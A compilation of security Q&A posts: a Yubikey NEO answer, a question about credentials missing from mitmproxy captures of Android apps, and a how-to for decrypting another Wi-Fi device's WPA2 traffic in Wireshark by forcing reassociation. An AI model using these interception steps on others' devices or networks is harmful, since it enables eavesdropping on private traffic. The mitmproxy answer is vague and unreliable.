If you select any on the first alternatives, you could use any of the Yubico tokens. If you go for the last alternative, I would suggest Yubikey NEO, which does have a tamper-resistant cryptographic Smart card Chip, which makes it impossible for a rogue user, to tamper with the yubikey to extract the AES key (that would make it possible for this rogue user to identify itself as a Another user).

The advantage of using a secret identity is that if someone finds the yubikey, they wont be able to find out who it belongs to.
Another advantage of the NEO is that is has NFC support, and can generate the signals that a "NFC URL sticker" does, but appending a OTP to the end, like "http://www.example.com/login.php?otp=ifhgieififhgieififhgieififhgieif" so the user can use his Yubikey to login via a NFC-compatible mobile phone.


why credentials are not shown in mitmproxy? my question is that why I can not see some credentials in mitmproxy while the application connecting to, uses ssl connection? I actually installed the mitmproxy server on my PC and have set up my android smartphone to connect to that proxy before connecting to the main server. I have not installed the proxy certificate in my smartphone so that to find insecure apps. some apps easily accept the mitmproxy certificate and establish ssl connections. I know that mitmproxy works based on SSL so my expectation is to see the credentials (like username and password ) that I already entered in app while connecting to the proxy. however, I sometimes see them in the proxy and sometimes I do not even after the app successfully connects to the proxy. now I wonder why I can not see the credentials entered in some apps in the proxy?my assume was that maybe those android apps do not use SSL encryption method and use other protocols for encryption so that is the reason I do not see the credentials in the proxy; though after using wireshark, I found out that all of those apps were using ssl protocol. do any one can help me to figure out why those credentials are not shown in the proxy? maybe I think in the wrong way so any answer will be appreciated.

You can't see the credentials because the application required to have a valid certificate. If the certificate is not valid, then the application won't process the HTTPS connection.

If you use mitmproxy to perform MiTM attack, that means the application uses the mitmproxy certificate.

Maybe you can try the application to process the untrusted connection.


How can I capture the packets of a LAN device in Wireshark? Setup

PC running Wireshark, connected to the network wireless (if OS variation is an issue, use Wireshark on Linux).
Another device connected, wireless, to the same LAN.
Wireless network uses WPA2 encryption

Question

Using Wireshark on my PC, how do I capture ALL packets, sent and received, by the other device on the LAN?

Example

I want to use Wireshark, running on Debian, to capture all YouTube packets coming and going to and from an Android device on my same network.

If you are both using WiFi (with WPA based preshared key encryption), things are really dead simple (which wouldn't have been the case if you were on a wired network):

Launch Wireshark on your computer
Set WPA key in Wireshark's settings
Start the packet capture on your wireless interface (in Linux you should be putting your wireless device in Monitor mode to gather all packets)
Force the target device to reassociate with the AP (turn wifi off/on, turn AP off/on, etc)
Observe 4-way handshake with Wireshark (thanks to prev step)
Do whatever you want on your Android device to generate traffic
See your wireless traffic unencrypted in Wireshark
Enjoy!

With the WPA keys set in Wireshark, it will decrypt packets on-the-fly, allowing you to view your Android device's traffic.

Edited to include necessary step of decrypting WPA protected traffic, which is observing 4-way handshake